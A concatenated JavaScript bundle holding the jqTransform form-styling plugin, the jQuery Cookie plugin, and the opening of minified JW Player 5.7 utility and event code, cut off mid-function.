/*
 *
 * jqTransform
 * by mathieu vilaplana mvilaplana@dfc-e.com
 * Designer ghyslain armand garmand@dfc-e.com
 *
 *
 * Version 1.0 25.09.08
 * Version 1.1 06.08.09
 * Add event click on Checkbox and Radio
 * Auto calculate the size of a select element
 * Can now, disabled the elements
 * Correct bug in ff if click on select (overflow=hidden)
 * No need any more preloading !!
 *
 ******************************************** */

(function($){
	var defaultOptions = {preloadImg:true};
	var jqTransformImgPreloaded = false;

	var jqTransformPreloadHoverFocusImg = function(strImgUrl) {
		//guillemets to remove for ie
		strImgUrl = strImgUrl.replace(/^url\((.*)\)/,'$1').replace(/^\"(.*)\"$/,'$1');
		var imgHover = new Image();
		imgHover.src = strImgUrl.replace(/\.([a-zA-Z]*)$/,'-hover.$1');
		var imgFocus = new Image();
		imgFocus.src = strImgUrl.replace(/\.([a-zA-Z]*)$/,'-focus.$1');
	};


	/***************************
	  Labels
	***************************/
	var jqTransformGetLabel = function(objfield){
		var selfForm = $(objfield.get(0).form);
		var oLabel = objfield.next();
		if(!oLabel.is('label')) {
			oLabel = objfield.prev();
			if(oLabel.is('label')){
				var inputname = objfield.attr('id');
				if(inputname){
					oLabel = selfForm.find('label[for="'+inputname+'"]');
				}
			}
		}
//		if(oLabel.is('label')){return oLabel.css('cursor','pointer');}
		return false;
	};

	/* Hide all open selects */
	var jqTransformHideSelect = function(oTarget){
		var ulVisible = $('.jqTransformSelectWrapper ul:visible');
		ulVisible.each(function(){
			var oSelect = $(this).parents(".jqTransformSelectWrapper:first").find("select").get(0);
			//do not hide if click on the label object associated to the select
			if( !(oTarget && oSelect.oLabel && oSelect.oLabel.get(0) == oTarget.get(0)) ){$(this).hide();$(this).parent().toggleClass('openSelect'); }
		});
	};
	/* Check for an external click */
	var jqTransformCheckExternalClick = function(event) {
		if ($(event.target).parents('.jqTransformSelectWrapper').length === 0) { jqTransformHideSelect($(event.target)); }
	};

	/* Apply document listener */
	var jqTransformAddDocumentListener = function (){
		$(document).mousedown(jqTransformCheckExternalClick);
	};

	/* Add a new handler for the reset action */
	var jqTransformReset = function(f){
		var sel;
		$('.jqTransformSelectWrapper select', f).each(function(){sel = (this.selectedIndex<0) ? 0 : this.selectedIndex; $('ul', $(this).parent()).each(function(){$('a:eq('+ sel +')', this).click();});});
		$('a.jqTransformCheckbox, a.jqTransformRadio', f).removeClass('jqTransformChecked');
		$('input:checkbox, input:radio', f).each(function(){if(this.checked){$('a', $(this).parent()).addClass('jqTransformChecked');}});
	};

	/***************************
	  Buttons
	 ***************************/
	$.fn.jqTransInputButton = function(){
		return this.each(function(){
			var newBtn = $('<button id="'+ this.id +'" name="'+ this.name +'" type="'+ this.type +'" class="'+ this.className +' jqTransformButton"><span><span>'+ $(this).attr('value') +'</span></span>')
				.hover(function(){newBtn.addClass('jqTransformButton_hover');},function(){newBtn.removeClass('jqTransformButton_hover')})
				.mousedown(function(){newBtn.addClass('jqTransformButton_click')})
				.mouseup(function(){newBtn.removeClass('jqTransformButton_click')})
			;
			$(this).replaceWith(newBtn);
		});
	};

	/***************************
	  Text Fields
	 ***************************/
	$.fn.jqTransInputText = function(){
		return this.each(function(){
			var $input = $(this);

			if($input.hasClass('jqtranformdone') || !$input.is('input')) {return;}
			$input.addClass('jqtranformdone');

			var oLabel = jqTransformGetLabel($(this));
			oLabel && oLabel.bind('click',function(){$input.focus();});

			var inputSize=$input.width();

			$input.addClass("jqTransformInput").wrap('<div class="jqTransformInputWrapper"><div class="jqTransformInputInner"><div></div></div></div>');
			var $wrapper = $input.parent().parent().parent();
			$wrapper.css("width", inputSize);
			$input
				.focus(function(){$wrapper.addClass("jqTransformInputWrapper_focus");})
				.blur(function(){$wrapper.removeClass("jqTransformInputWrapper_focus");})
				.hover(function(){$wrapper.addClass("jqTransformInputWrapper_hover");},function(){$wrapper.removeClass("jqTransformInputWrapper_hover");})
			;

			/* If this is safari we need to add an extra class */
			$.browser.safari && $wrapper.addClass('jqTransformSafari');
			this.wrapper = $wrapper;

		});
	};

	/***************************
	  Check Boxes
	 ***************************/
	$.fn.jqTransCheckBox = function(){
		return this.each(function(){
			if($(this).hasClass('jqTransformHidden')) {return;}

			var $input = $(this);
			var inputSelf = this;

			//set the click on the label
			var oLabel=jqTransformGetLabel($input);
			oLabel && oLabel.click(function(){aLink.trigger('click');});

			var aLink = $('<a href="javascript:void(0)" class="jqTransformCheckbox"></a>');
			//wrap and add the link
			$input.addClass('jqTransformHidden').wrap('<span class="jqTransformCheckboxWrapper"></span>').parent().prepend(aLink);
			//on change, change the class of the link
			$input.change(function(){
				this.checked && aLink.addClass('jqTransformChecked') || aLink.removeClass('jqTransformChecked');
				return true;
			});
			// Click Handler, trigger the click and change event on the input
			aLink.click(function(){
				//do nothing if the original input is disabled
				if($input.attr('disabled')){return false;}
				//trigger the envents on the input object
				$input.trigger('click').trigger("change");
				return false;
			});

			aLink.keypress(function (e) {
			   if ((e.which == 13) || (e.which == 32)){
					if($input.attr('disabled')){return false;}
					//trigger the envents on the input object
					$input.trigger('click').trigger("change");
					return false;   
			   }			
			});

			// set the default state
			this.checked && aLink.addClass('jqTransformChecked');
		});
	};
	/***************************
	  Radio Buttons
	 ***************************/
	$.fn.jqTransRadio = function(){
		return this.each(function(){
			if($(this).hasClass('jqTransformHidden')) {return;}

			var $input = $(this);
			var inputSelf = this;

			var aLink = $('<a href="javascript:void(0)" class="jqTransformRadio" rel="'+ this.name +'"></a>');
			$input.addClass('jqTransformHidden').wrap('<span class="jqTransformRadioWrapper"></span>').parent().prepend(aLink);

      oLabel = jqTransformGetLabel($input);
			//oLabel && oLabel.click(function(){aLink.click();});

			$input.change(function(){
				if (inputSelf.checked) {
          $("[rel='" + $input.attr('name') +"']").removeClass('jqTransformChecked');
          aLink.addClass('jqTransformChecked');
        } else {
          aLink.removeClass('jqTransformChecked');
        }
				return true;
			});
			// Click Handler
			aLink.click(function(){
				if($input.attr('disabled')){return false;}
				$input.trigger('click').trigger('change');

				// uncheck all others of same name input radio elements
				$('input[name="'+$input.attr('name')+'"]',inputSelf.form).not($input).each(function(){
					$(this).attr('type')=='radio' && $(this).trigger('change');
				});

				return false;
			});
			
			
			aLink.keypress(function (e) {
			   if ((e.which == 13) || (e.which == 32)){
					if($input.attr('disabled')){return false;}
					$input.trigger('click').trigger('change');
	
					// uncheck all others of same name input radio elements
					$('input[name="'+$input.attr('name')+'"]',inputSelf.form).not($input).each(function(){
						$(this).attr('type')=='radio' && $(this).trigger('change');
					});
					return false; 
			   }			
			});
			
			// set the default state
			if (inputSelf.checked) {
			   aLink.addClass('jqTransformChecked');
			}
		});
	};

	/***************************
	  TextArea
	 ***************************/
	$.fn.jqTransTextarea = function(){
		return this.each(function(){
			var textarea = $(this);

			if(textarea.hasClass('jqtransformdone')) {return;}
			textarea.addClass('jqtransformdone');

			oLabel = jqTransformGetLabel(textarea);
			oLabel && oLabel.click(function(){textarea.focus();});

			var strTable = '<table cellspacing="0" cellpadding="0" border="0" class="jqTransformTextarea">';
			strTable +='<tr><td id="jqTransformTextarea-tl"></td><td id="jqTransformTextarea-tm"></td><td id="jqTransformTextarea-tr"></td></tr>';
			strTable +='<tr><td id="jqTransformTextarea-ml">&nbsp;</td><td id="jqTransformTextarea-mm"><div></div></td><td id="jqTransformTextarea-mr">&nbsp;</td></tr>';
			strTable +='<tr><td id="jqTransformTextarea-bl"></td><td id="jqTransformTextarea-bm"></td><td id="jqTransformTextarea-br"></td></tr>';
			strTable +='</table>';
			var oTable = $(strTable)
					.insertAfter(textarea)
					.hover(function(){
						!oTable.hasClass('jqTransformTextarea-focus') && oTable.addClass('jqTransformTextarea-hover');
					},function(){
						oTable.removeClass('jqTransformTextarea-hover');
					})
				;

			textarea
				.focus(function(){oTable.removeClass('jqTransformTextarea-hover').addClass('jqTransformTextarea-focus');})
				.blur(function(){oTable.removeClass('jqTransformTextarea-focus');})
				.appendTo($('#jqTransformTextarea-mm div',oTable))
			;
			this.oTable = oTable;
			if($.browser.safari){
				$('#jqTransformTextarea-mm',oTable)
					.addClass('jqTransformSafariTextarea')
					.find('div')
						.css('height',textarea.height())
						.css('width',textarea.width())
				;
			}
		});
	}; 

	/***************************
	  Select
	 ***************************/
  $(document).keydown(function(e) {
    if (!$('div.jqTransformSelectWrapper.openSelect ul:visible').length) { return; }
    e.preventDefault(); // to avoid browser scroll while navigating the <li>s
    if (e.which == 32 || e.which == 13) { // enter, space
      $('div.openSelect a.jqTransformSelectOpen').click();
    } else {
      var ul = $('div.jqTransformSelectWrapper.openSelect ul');
      var selected = $('a.selected', ul) || $('a:first', ul);
      if (e.which == 37 || e.which == 38) { // arrow up and left
        selected = $('a', selected.parent().prev());
        if (!selected.length) {
          selected = $('a:last', ul);
        }
      } else if (e.which == 39 || e.which == 40) { // arrow down and right
        selected = $('a', selected.parent().next());
        if (!selected.length) {
          selected = $('a:first', ul);
        }
      } else { // any other key
        var c = String.fromCharCode(e.which).toLowerCase();
        var indexes =  $('div.jqTransformSelectWrapper.openSelect select').data('indexes');
        var last_keypress =  $('div.jqTransformSelectWrapper.openSelect select').data('last_keypress');
        if (indexes[c] && indexes[c] != $('a.selected', ul)) {
          $('a.selected', ul).removeClass('selected');
          var idx = 0;
          if (last_keypress.key == c) {
            idx = (last_keypress.idx + 1);
            if (indexes[c].length <= idx) {
              idx = 0;
            }
          }
          $('div.jqTransformSelectWrapper.openSelect select').data('last_keypress', { key:c, idx:idx });
          selected = indexes[c][idx];
        } else {
          selected = false;
        }
      }
      if (selected != false) {
        selected.addClass('selected');
        var offSet = (ul.scrollTop() + selected.parent().position().top);
        ul.scrollTop(offSet);
        selected.trigger('click', [false]);
      }
    }
  });
	$.fn.jqTransSelect = function(){
		return this.each(function(index){
			var $select = $(this);

			if($select.hasClass('jqTransformHidden')) {return;}
			if($select.attr('multiple')) {return;}
      
      $select.data('last_keypress', { key:'', idx:0 });

			var oLabel  =  jqTransformGetLabel($select);
			/* First thing we do is Wrap it */
			var $wrapper = $select
				.addClass('jqTransformHidden')

				.wrap('<div class="jqTransformSelectWrapper"></div>')
				.parent()
				.css({zIndex: 10-index})
			;

			/* Now add the html for the select */
			$wrapper.prepend('<div><span></span><a href="javascript:void(0)" class="jqTransformSelectOpen"></a></div><ul></ul>');
			var $ul = $('ul', $wrapper).hide();
			/* Now we add the options */
      var indexes = {};
			$('option', this).each(function(i){
				var oLi = $('<li><a href="javascript:void(0)" index="'+ i +'">'+ $(this).html() +'</a></li>');
				$ul.append(oLi);
        if(i > 0) {
          var oA = $('a', oLi);
          var c = $(this).html().charAt(0).toLowerCase();
          if(!indexes[c]) indexes[c] = [];
          indexes[c].push(oA);
        }
			});
      $select.data('indexes', indexes);

			/* Add click handler to the a */
			$ul.find('a').click(function(event, close){
        $('a.selected', $wrapper).removeClass('selected');
        $(this).addClass('selected');
        /* Fire the onchange event */
        if ($select[0].selectedIndex != $(this).attr('index')) {
          $select[0].selectedIndex = $(this).attr('index');
          $select.trigger('change', [close]);
          $select.click();
          if(close !== false) $(this).parent().parent().parent().toggleClass('openSelect');
        }
        $select[0].selectedIndex = $(this).attr('index');
        $('span:eq(0)', $wrapper).html($(this).html());
        if(close !== false) $ul.hide();
        return false;
			});
      $select.change(function(event, close){
        var $selectedOption = $('option:selected', $select);
        var index = $('option', $select).index($selectedOption);
        $('li:eq('+index+') a', $ul).click(close);
      });
			/* Set the default */
			$('a:eq('+ this.selectedIndex +')', $ul).click();
			$('span:first', $wrapper).click(function(){$("a.jqTransformSelectOpen",$wrapper).trigger('click');});
			oLabel && oLabel.click(function(){$("a.jqTransformSelectOpen",$wrapper).trigger('click');});
			
			this.oLabel = oLabel;

			/* Apply the click handler to the Open */
			var oLinkOpen = $('a.jqTransformSelectOpen', $wrapper)
				.click(function(){
					
					if(close !== false) oLinkOpen.parent().parent().toggleClass('openSelect');
					
					//Check if box is already open to still allow toggle, but close all other selects
					if($ul.css('display') == 'none') {jqTransformHideSelect();}
					if($select.attr('disabled')){return false;}
          $select.data('last_keypress', { key:'', idx:0 });

          var offSet = ($ul.scrollTop() + $('a.selected', $ul).position().top);
          $ul.scrollTop(offSet);
					$ul.slideToggle('fast');
					return false;
				});
			

			// Set the new width
			var iSelectWidth = $select.outerWidth();
			var oSpan = $('span:first',$wrapper);
			var newWidth = (iSelectWidth > oSpan.innerWidth())?iSelectWidth+oLinkOpen.outerWidth():$wrapper.width();

			// Calculate the height if necessary, less elements that the default height
			//show the ul to calculate the block, if ul is not displayed li height value is 0
			$ul.css({display:'block',visibility:'hidden'});
			var iSelectHeight = ($('li',$ul).length)*($('li:first',$ul).height());//+1 else bug ff
			(iSelectHeight < $ul.height()) && $ul.css({height:iSelectHeight,'overflow':'hidden'});//hidden else bug with ff
			$ul.css({display:'none',visibility:'visible'});

		});
	};
	$.fn.jqTransform = function(options){
		var opt = $.extend({},defaultOptions,options);

		/* each form */
		 return this.each(function(){
			var selfForm = $(this);
			if(selfForm.hasClass('jqtransformdone')) {return;}
			selfForm.addClass('jqtransformdone');

			//$('input:submit, input:reset, input[type="button"]', this).jqTransInputButton();
			$('input:text, input:password', this).jqTransInputText();
			$('input:checkbox', this).jqTransCheckBox();
			$('input:radio', this).jqTransRadio();
			$('textarea', this).jqTransTextarea();

			if( $('select', this).jqTransSelect().length > 0 ){jqTransformAddDocumentListener();}
			selfForm.bind('reset',function(){var action = function(){jqTransformReset(this);}; window.setTimeout(action, 10);});		


		}); /* End Form each */

	};/* End the Plugin */

})(jQuery);;
/**
 * jQuery Cookie plugin
 *
 * Copyright (c) 2010 Klaus Hartl (stilbuero.de)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 */
jQuery.cookie = function (key, value, options) {

    // key and at least value given, set cookie...
    if (arguments.length > 1 && String(value) !== "[object Object]") {
        options = jQuery.extend({}, options);

        if (value === null || value === undefined) {
            options.expires = -1;
        }

        if (typeof options.expires === 'number') {
            var days = options.expires, t = options.expires = new Date();
            t.setDate(t.getDate() + days);
        }

        value = String(value);

        return (document.cookie = [
            encodeURIComponent(key), '=',
            options.raw ? value : encodeURIComponent(value),
            options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
            options.path ? '; path=' + options.path : '',
            options.domain ? '; domain=' + options.domain : '',
            options.secure ? '; secure' : ''
        ].join(''));
    }

    // key and possibly options given, get cookie...
    options = value || {};
    var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent;
    return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null;
};
;
if(typeof jwplayer=="undefined"){var jwplayer=function(a){if(jwplayer.api){return jwplayer.api.selectPlayer(a)}};var $jw=jwplayer;jwplayer.version="5.7.1896 (Licensed version)";jwplayer.vid=document.createElement("video");jwplayer.audio=document.createElement("audio");jwplayer.source=document.createElement("source");(function(b){b.utils=function(){};b.utils.typeOf=function(d){var c=typeof d;if(c==="object"){if(d){if(d instanceof Array){c="array"}}else{c="null"}}return c};b.utils.extend=function(){var c=b.utils.extend["arguments"];if(c.length>1){for(var e=1;e<c.length;e++){for(var d in c[e]){c[0][d]=c[e][d]}}return c[0]}return null};b.utils.clone=function(f){var c;var d=b.utils.clone["arguments"];if(d.length==1){switch(b.utils.typeOf(d[0])){case"object":c={};for(var e in d[0]){c[e]=b.utils.clone(d[0][e])}break;case"array":c=[];for(var e in d[0]){c[e]=b.utils.clone(d[0][e])}break;default:return d[0];break}}return c};b.utils.extension=function(c){if(!c){return""}c=c.substring(c.lastIndexOf("/")+1,c.length);c=c.split("?")[0];if(c.lastIndexOf(".")>-1){return c.substr(c.lastIndexOf(".")+1,c.length).toLowerCase()}return};b.utils.html=function(c,d){c.innerHTML=d};b.utils.wrap=function(c,d){if(c.parentNode){c.parentNode.replaceChild(d,c)}d.appendChild(c)};b.utils.ajax=function(g,f,c){var e;if(window.XMLHttpRequest){e=new XMLHttpRequest()}else{e=new ActiveXObject("Microsoft.XMLHTTP")}e.onreadystatechange=function(){if(e.readyState===4){if(e.status===200){if(f){f(e)}}else{if(c){c(g)}}}};try{e.open("GET",g,true);e.send(null)}catch(d){if(c){c(g)}}return e};b.utils.load=function(d,e,c){d.onreadystatechange=function(){if(d.readyState===4){if(d.status===200){if(e){e()}}else{if(c){c()}}}}};b.utils.find=function(d,c){return d.getElementsByTagName(c)};b.utils.append=function(c,d){c.appendChild(d)};b.utils.isIE=function(){return((!+"\v1")||(typeof window.ActiveXObject!="undefined"))};b.utils.isLegacyAndroid=function(){var c=navigator.userAgent.toLowerCase();return(c.match(/android 2.[012]/i)!==null)};b.utils.isIOS=function(d){if(typeof d=="undefined"){d=/iP(hone|ad|od)/i}var c=navigator.userAgent.toLowerCase();return(c.match(d)!==null)};b.utils.isIPad=function(){return b.utils.isIOS(/iPad/i)};b.utils.isIPod=function(){return b.utils.isIOS(/iP(hone|od)/i)};b.utils.getFirstPlaylistItemFromConfig=function(c){var d={};var e;if(c.playlist&&c.playlist.length){e=c.playlist[0]}else{e=c}d.file=e.file;d.levels=e.levels;d.streamer=e.streamer;d.playlistfile=e.playlistfile;d.provider=e.provider;if(!d.provider){if(d.file&&(d.file.toLowerCase().indexOf("youtube.com")>-1||d.file.toLowerCase().indexOf("youtu.be")>-1)){d.provider="youtube"}if(d.streamer&&d.streamer.toLowerCase().indexOf("rtmp://")==0){d.provider="rtmp"}if(e.type){d.provider=e.type.toLowerCase()}}if(d.provider=="audio"){d.provider="sound"}return d};b.utils.getOuterHTML=function(c){if(c.outerHTML){return c.outerHTML}else{try{return new XMLSerializer().serializeToString(c)}catch(d){return""}}};b.utils.setOuterHTML=function(f,e){if(f.outerHTML){f.outerHTML=e}else{var g=document.createElement("div");g.innerHTML=e;var c=document.createRange();c.selectNodeContents(g);var d=c.extractContents();f.parentNode.insertBefore(d,f);f.parentNode.removeChild(f)}};b.utils.hasFlash=function(){if(typeof navigator.plugins!="undefined"&&typeof navigator.plugins["Shockwave Flash"]!="undefined"){return true}if(typeof window.ActiveXObject!="undefined"){try{new ActiveXObject("ShockwaveFlash.ShockwaveFlash");return true}catch(c){}}return false};b.utils.getPluginName=function(c){if(c.lastIndexOf("/")>=0){c=c.substring(c.lastIndexOf("/")+1,c.length)}if(c.lastIndexOf("-")>=0){c=c.substring(0,c.lastIndexOf("-"))}if(c.lastIndexOf(".swf")>=0){c=c.substring(0,c.lastIndexOf(".swf"))}if(c.lastIndexOf(".js")>=0){c=c.substring(0,c.lastIndexOf(".js"))}return c};b.utils.getPluginVersion=function(c){if(c.lastIndexOf("-")>=0){if(c.lastIndexOf(".js")>=0){return c.substring(c.lastIndexOf("-")+1,c.lastIndexOf(".js"))}else{if(c.lastIndexOf(".swf")>=0){return c.substring(c.lastIndexOf("-")+1,c.lastIndexOf(".swf"))}else{return c.substring(c.lastIndexOf("-")+1)}}}return""};b.utils.getAbsolutePath=function(j,h){if(!b.utils.exists(h)){h=document.location.href}if(!b.utils.exists(j)){return undefined}if(a(j)){return j}var k=h.substring(0,h.indexOf("://")+3);var g=h.substring(k.length,h.indexOf("/",k.length+1));var d;if(j.indexOf("/")===0){d=j.split("/")}else{var e=h.split("?")[0];e=e.substring(k.length+g.length+1,e.lastIndexOf("/"));d=e.split("/").concat(j.split("/"))}var c=[];for(var f=0;f<d.length;f++){if(!d[f]||!b.utils.exists(d[f])||d[f]=="."){continue}else{if(d[f]==".."){c.pop()}else{c.push(d[f])}}}return k+g+"/"+c.join("/")};function a(d){if(!b.utils.exists(d)){return}var e=d.indexOf("://");var c=d.indexOf("?");return(e>0&&(c<0||(c>e)))}b.utils.pluginPathType={ABSOLUTE:"ABSOLUTE",RELATIVE:"RELATIVE",CDN:"CDN"};b.utils.getPluginPathType=function(d){if(typeof d!="string"){return}d=d.split("?")[0];var e=d.indexOf("://");if(e>0){return b.utils.pluginPathType.ABSOLUTE}var c=d.indexOf("/");var f=b.utils.extension(d);if(e<0&&c<0&&(!f||!isNaN(f))){return b.utils.pluginPathType.CDN}return b.utils.pluginPathType.RELATIVE};b.utils.mapEmpty=function(c){for(var d in c){return false}return true};b.utils.mapLength=function(d){var c=0;for(var e in d){c++}return c};b.utils.log=function(d,c){if(typeof console!="undefined"&&typeof console.log!="undefined"){if(c){console.log(d,c)}else{console.log(d)}}};b.utils.css=function(d,g,c){if(b.utils.exists(d)){for(var e in g){try{if(typeof g[e]==="undefined"){continue}else{if(typeof g[e]=="number"&&!(e=="zIndex"||e=="opacity")){if(isNaN(g[e])){continue}if(e.match(/color/i)){g[e]="#"+b.utils.strings.pad(g[e].toString(16),6)}else{g[e]=Math.ceil(g[e])+"px"}}}d.style[e]=g[e]}catch(f){}}}};b.utils.isYouTube=function(c){return(c.indexOf("youtube.com")>-1||c.indexOf("youtu.be")>-1)};b.utils.transform=function(c,d){c.style.webkitTransform=d;c.style.MozTransform=d;c.style.OTransform=d};b.utils.stretch=function(h,n,m,f,l,g){if(typeof m=="undefined"||typeof f=="undefined"||typeof l=="undefined"||typeof g=="undefined"){return}var d=m/l;var e=f/g;var k=0;var j=0;n.style.overflow="hidden";b.utils.transform(n,"");var c={};switch(h.toUpperCase()){case b.utils.stretching.NONE:c.width=l;c.height=g;break;case b.utils.stretching.UNIFORM:if(d>e){c.width=l*e;c.height=g*e}else{c.width=l*d;c.height=g*d}break;case b.utils.stretching.FILL:if(d>e){c.width=l*d;c.height=g*d}else{c.width=l*e;c.height=g*e}break;case b.utils.stretching.EXACTFIT:b.utils.transform(n,["scale(",d,",",e,")"," translate(0px,0px)"].join(""));c.width=l;c.height=g;break;default:break}c.top=(f-c.height)/2;c.left=(m-c.width)/2;b.utils.css(n,c)};b.utils.stretching={NONE:"NONE",FILL:"FILL",UNIFORM:"UNIFORM",EXACTFIT:"EXACTFIT"};b.utils.deepReplaceKeyName=function(h,e,c){switch(b.utils.typeOf(h)){case"array":for(var g=0;g<h.length;g++){h[g]=b.utils.deepReplaceKeyName(h[g],e,c)}break;case"object":for(var f in h){var d=f.replace(new RegExp(e,"g"),c);h[d]=b.utils.deepReplaceKeyName(h[f],e,c);if(f!=d){delete h[f]}}break}return h};b.utils.isInArray=function(e,d){if(!(e)||!(e instanceof Array)){return false}for(var c=0;c<e.length;c++){if(d===e[c]){return true}}return false};b.utils.exists=function(c){switch(typeof(c)){case"string":return(c.length>0);break;case"object":return(c!==null);case"undefined":return false}return true};b.utils.empty=function(c){if(typeof c.hasChildNodes=="function"){while(c.hasChildNodes()){c.removeChild(c.firstChild)}}};b.utils.parseDimension=function(c){if(typeof c=="string"){if(c===""){return 0}else{if(c.lastIndexOf("%")>-1){return c}else{return parseInt(c.replace("px",""),10)}}}return c};b.utils.getDimensions=function(c){if(c&&c.style){return{x:b.utils.parseDimension(c.style.left),y:b.utils.parseDimension(c.style.top),width:b.utils.parseDimension(c.style.width),height:b.utils.parseDimension(c.style.height)}}else{return{}}};b.utils.timeFormat=function(c){str="00:00";if(c>0){str=Math.floor(c/60)<10?"0"+Math.floor(c/60)+":":Math.floor(c/60)+":";str+=Math.floor(c%60)<10?"0"+Math.floor(c%60):Math.floor(c%60)}return str}})(jwplayer);(function(a){a.events=function(){};a.events.COMPLETE="COMPLETE";a.events.ERROR="ERROR"})(jwplayer);(function(jwplayer){jwplayer.events.eventdispatcher=function(debug){var _debug=debug;var _listeners;var _globallisteners;this.resetEventListeners=function(){_listeners={};_globallisteners=[]};this.resetEventListeners();this.addEventListener=function(type,listener,count){try{if(!jwplayer.utils.exists(_listeners[type])){_listeners[type]=[]}if(typeof(listener)=="string"){eval("listener = "+listener)}_listeners[type].push({listener:listener,count:count})}catch(err){jwplayer.utils.log("error",err)}return false};this.removeEventListener=function(type,listener){if(!_listeners[type]){return}try{for(var listenerIndex=0;listenerIndex<_listeners[type].length;listenerIndex++){if(_listeners[type][listenerIndex].listener.toString()==listener.toString()){_listeners[type].splice(listenerIndex,1);break}}}catch(err){jwplayer.utils.log("error",err)}return false};this.addGlobalListener=function(listener,count){try{if(typeof(listener)=="string"){eval("listener = "+listener)}_globallisteners.push({listener:listener,count:count})}catch(err){jwplayer.utils.log("error",err)}return false};this.removeGlobalListener=function(listener){if(!_globallisteners[type]){return}try{for(var globalListenerIndex=0;globalListenerIndex<_globallisteners.length;globalListenerIndex++){if(_globallisteners[globalListenerIndex].listener.toString()==listener.toString()){_globallisteners.splice(globalListenerIndex,1);break}}}catch(err){jwplayer.utils.log("error",err)}return false};this.sendEvent=function(type,data){if(!jwplayer.utils.exists(data)){data={}}if(_debug){jwplayer.utils.log(type,data)}if(typeof _listeners[type]!="undefined"){for(var listenerIndex=0;listenerIndex<_listeners[type].length;listenerIndex++){try{_listeners[type][listenerIndex].listener(data)}catch(err){jwplayer.utils.log("There was an error while handling a listener: "+err.toString(),_listeners[type][listenerIndex].listener)}if(_listeners[type][listenerIndex]){if(_listeners[type][listenerIndex].count===1){delete _listeners[type][listenerIndex]}else{if(_listeners[type][listenerIndex].count>0){_listeners[type][listenerIndex].count=_listeners[type][listenerIndex].count-1}}}}}for(var globalListenerIndex=0;globalListenerIndex<_globallisteners.length;globalListenerIndex++){try{_globallisteners[globalListenerIndex].listener(data)}catch(err){jwplayer.utils.log("There was an error while handling a listener: "+err.toString(),_globallisteners[globalListenerIndex].listener)}if(_globallisteners[globalListenerIndex]){if(_globallisteners[globalListenerIndex].count===1){delete _globallisteners[globalListenerIndex]}else{if(_globallisteners[globalListenerIndex].count>0){_globallisteners[globalListenerIndex].count=_globallisteners[globalListenerIndex].count-1}}}}}}})(jwplayer);(function(a){var b={};a.utils.animations=function(){};a.utils.animations.transform=function(c,d){c.style.webkitTransform=d;c.style.MozTransform=d;c.style.OTransform=d;c.style.msTransform=d};a.utils.animations.transformOrigin=function(c,d){c.style.webkitTransformOrigin=d;c.style.MozTransformOrigin=d;c.style.OTransformOrigin=d;c.style.msTransformOrigin=d};a.utils.animations.rotate=function(c,d){a.utils.animations.transform(c,["rotate(",d,"deg)"].join(""))};a.utils.cancelAnimation=function(c){delete b[c.id]};a.utils.fadeTo=function(m,f,e,j,h,d){if(b[m.id]!=d&&a.utils.exists(d)){return}if(m.style.opacity==f){return}var c=new Date().getTime();if(d>c){setTimeout(function(){a.utils.fadeTo(m,f,e,j,0,d)},d-c)}if(m.style.display=="none"){m.style.display="block"}if(!a.utils.exists(j)){j=m.style.opacity===""?1:m.style.opacity}if(m.style.opacity==f&&m.style.opacity!==""&&a.utils.exists(d)){if(f===0){m.style.display="none"}return}if(!a.utils.exists(d)){d=c;b[m.id]=d}if(!a.utils.exists(h)){h=0}var k=(e>0)?((c-d)/(e*1000)):0;k=k>1?1:k;var l=f-j;var g=j+(k*l);if(g>1){g=1}else{if(g<0){g=0}}m.style.opacity=g;if(h>0){b[m.id]=d+h*1000;a.utils.fadeTo(m,f,e,j,0,b[m.id]);return}setTimeout(function(){a.utils.fadeTo(m,f,e,j,0,d)},10)}})(jwplayer);(function(a){a.utils.arrays=function(){};a.utils.arrays.indexOf=function(c,d){for(var b=0;b<c.length;b++){if(c[b]==d){return b}}return -1};a.utils.arrays.remove=function(c,d){var b=a.utils.arrays.indexOf(c,d);if(b>-1){c.splice(b,1)}}})(jwplayer);(function(a){a.utils.extensionmap={"3gp":{html5:"video/3gpp",flash:"video"},"3gpp":{html5:"video/3gpp"},"3g2":{html5:"video/3gpp2",flash:"video"},"3gpp2":{html5:"video/3gpp2"},flv:{flash:"video"},f4a:{html5:"audio/mp4"},f4b:{html5:"audio/mp4",flash:"video"},f4v:{html5:"video/mp4",flash:"video"},mov:{html5:"video/quicktime",flash:"video"},m4a:{html5:"audio/mp4",flash:"video"},m4b:{html5:"audio/mp4"},m4p:{html5:"audio/mp4"},m4v:{html5:"video/mp4",flash:"video"},mp4:{html5:"video/mp4",flash:"video"},rbs:{flash:"sound"},aac:{html5:"audio/aac",flash:"video"},mp3:{html5:"audio/mp3",flash:"sound"},ogg:{html5:"audio/ogg"},oga:{html5:"audio/ogg"},ogv:{html5:"video/ogg"},webm:{html5:"video/webm"},m3u8:{html5:"audio/x-mpegurl"},gif:{flash:"image"},jpeg:{flash:"image"},jpg:{flash:"image"},swf:{flash:"image"},png:{flash:"image"},wav:{html5:"audio/x-wav"}}})(jwplayer);(function(e){e.utils.mediaparser=function(){};var g={element:{width:"width",height:"height",id:"id","class":"className",name:"name"},media:{src:"file",preload:"preload",autoplay:"autostart",loop:"repeat",controls:"controls"},source:{src:"file",type:"type",media:"media","data-jw-width":"width","data-jw-bitrate":"bitrate"},video:{poster:"image"}};var f={};e.utils.mediaparser.parseMedia=function(j){return d(j)};function c(k,j){if(!e.utils.exists(j)){j=g[k]}else{e.utils.extend(j,g[k])}return j}function d(n,j){if(f[n.tagName.toLowerCase()]&&!e.utils.exists(j)){return f[n.tagName.toLowerCase()](n)}else{j=c("element",j);var o={};for(var k in j){if(k!="length"){var m=n.getAttribute(k);if(e.utils.exists(m)){o[j[k]]=m}}}var l=n.style["#background-color"];if(l&&!(l=="transparent"||l=="rgba(0, 0, 0, 0)")){o.screencolor=l}return o}}function h(n,k){k=c("media",k);var l=[];var j=e.utils.selectors("source",n);for(var m in j){if(!isNaN(m)){l.push(a(j[m]))}}var o=d(n,k);if(e.utils.exists(o.file)){l[0]={file:o.file}}o.levels=l;return o}function a(l,k){k=c("source",k);var j=d(l,k);j.width=j.width?j.width:0;j.bitrate=j.bitrate?j.bitrate:0;return j}function b(l,k){k=c("video",k);var j=h(l,k);return 